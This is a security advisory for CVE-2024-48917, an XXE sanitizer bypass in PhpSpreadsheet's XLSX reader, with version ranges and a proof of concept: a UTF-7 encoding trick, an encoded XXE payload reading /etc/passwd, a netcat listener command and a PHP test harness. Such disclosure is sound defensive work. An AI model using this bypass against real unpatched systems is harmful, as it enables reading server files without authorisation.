ghsa-7cc9-j4mv-vcjp
Vulnerability from github
Published
2024-11-18 20:01
Modified
2024-11-18 22:45
Summary
XXE in PHPSpreadsheet's XLSX reader
Details

Summary

The XmlScanner class has a scan method which should prevent XXE attacks.

However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:

$patterns = [ '/encoding\\s*=\\s*"([^"]*]?)"/', "/encoding\\s*=\\s*'([^']*?)'/", ];

A payload for the workbook.xml file can for example be created with CyberChef&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.

To create the payload you need: 1. Create a file containing <?xml version = "1.0" encoding='UTF-7' in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add +ADw-+ACE---encoding="UTF-8"--+AD4- to the end of the XML file, which is matched by the first regex.

PoC

payload.xlsx

  • Create a new folder.
  • Run the composer require phpoffice/phpspreadsheet command in the new folder.
  • Create an index.php file in that folder with the following content: ```PHP <?php require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';

/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);

$worksheetData = $reader->listWorksheetInfo($inputFileName);

foreach ($worksheetData as $worksheet) {

$sheetName = $worksheet['worksheetName'];

echo "

$sheetName

"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);

$worksheet = $spreadsheet->getActiveSheet(); print_r($worksheet->toArray());

} `` - Run the following command:php -S 127.0.0.1:8080` - Add the payload.xlsx file in the folder and open https://127.0.0.1:8080 in a browser. You will see an HTTP request on netcat http://127.0.0.1:12345/ext.dtd.

Impact

An attacker can bypass the sanitizer and achieve an XXE attack.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-18T20:01:46Z",
    "nvd_published_at": "2024-11-18T20:15:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding=\"UTF-8\"` with `\"`, which is matched by the first regex, so that `encoding=\u0027UTF-7\u0027` with single quotes `\u0027` in the XML header is not matched by the second regex: \n\n```\n $patterns = [\n            \u0027/encoding\\\\s*=\\\\s*\"([^\"]*]?)\"/\u0027,\n            \"/encoding\\\\s*=\\\\s*\u0027([^\u0027]*?)\u0027/\",\n        ];\n``` \n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text(\u0027UTF-7%20(65000)\u0027)\u0026input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\nTo create the payload you need:\n1. Create a file containing `\u003c?xml version = \"1.0\" encoding=\u0027UTF-7\u0027` in an XML file\n2. Use the link attached above to create your XXE payload and add it to the XML file. \n3. Add `+ADw-+ACE---encoding=\"UTF-8\"--+AD4-` to the end of the XML file, which is matched by the first regex. \n\n### PoC\n\n[payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx)\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = \u0027Xlsx\u0027;\n$inputFileName = \u0027./payload.xlsx\u0027;\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet[\u0027worksheetName\u0027];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on netcat \u003chttp://127.0.0.1:12345/ext.dtd\u003e.\n\n### Impact\n\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).\n",
  "id": "GHSA-7cc9-j4mv-vcjp",
  "modified": "2024-11-18T22:45:37Z",
  "published": "2024-11-18T20:01:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48917"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XXE in PHPSpreadsheet\u0027s XLSX reader"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.